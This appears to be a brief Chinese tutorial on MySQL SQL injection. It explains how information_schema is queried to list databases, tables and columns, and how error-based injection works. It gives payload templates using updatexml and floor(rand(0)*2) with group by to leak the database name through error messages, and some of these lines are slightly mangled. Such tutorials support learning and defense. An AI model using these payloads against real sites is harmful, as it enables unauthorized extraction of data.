關(guān)于INFORMATION_SCHEMA表的簡單介紹
information_schema :數(shù)據(jù)庫是MySQL系統(tǒng)自帶的數(shù)據(jù)庫,它提供了數(shù)據(jù)庫元數(shù)據(jù)的訪問方式。
information_schema 數(shù)據(jù)庫中注入時(shí)要用到的表有( schemata tables columns)
chemata 表中 字段
schema_name 存放數(shù)據(jù)庫名
tables 表中 字段
table_schema 數(shù)據(jù)表所屬的數(shù)據(jù)庫名
table_name 存放數(shù)據(jù)庫所有表名
columns 表中 字段
table_schema 數(shù)據(jù)表所屬的數(shù)據(jù)庫名
table_name 存放數(shù)據(jù)庫所有表名
column_name 存放數(shù)據(jù)庫所有表里面的列名
SQL注入時(shí)常用到的幾條查詢語句
查找數(shù)據(jù)庫名稱
select schema_name from information_schema.schemata 相當(dāng)于 show databases;
查mysqllname所有表名
select table_name from information_schema.tables where table_schema=mysqlname
查詢mysqlname數(shù)據(jù)庫tablename表中的所有字段
select column_name from information_schema.columns where table_schema="mysqlname" and table_name="tablename"
報(bào)錯(cuò)注入原理:
由于rand和group+by的沖突,即rand()是不可以作為order by的條件字段,同理也不可以為group by的條件字段。
floor(rand(0)*2) 獲取不確定又重復(fù)的值造成mysql的錯(cuò)誤
floor:向下取整,只保留整數(shù)部分,rand(0) -> 0~1
報(bào)錯(cuò)注入特點(diǎn):
頁面上沒有顯示位,但是有SQL語句執(zhí)行錯(cuò)誤信息
報(bào)錯(cuò)語句可以分為MYSQL報(bào)錯(cuò)
01.PNG
PHP報(bào)錯(cuò)
02.PNG
常用語句
and updatexml (1,payload'1)
and updatexml (1,concat(0x7e,payload,0x7e),1) 0x7e 是: 轉(zhuǎn)碼來的
(select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
這里的concat(payload)是關(guān)鍵語句 一般都是在這里爆數(shù)據(jù)庫,表和字段
如:
(select 1 from (select count(),concat((database()),floor(rand(0)2))x from information_schema.tables group by x)a)
這是爆數(shù)據(jù)庫名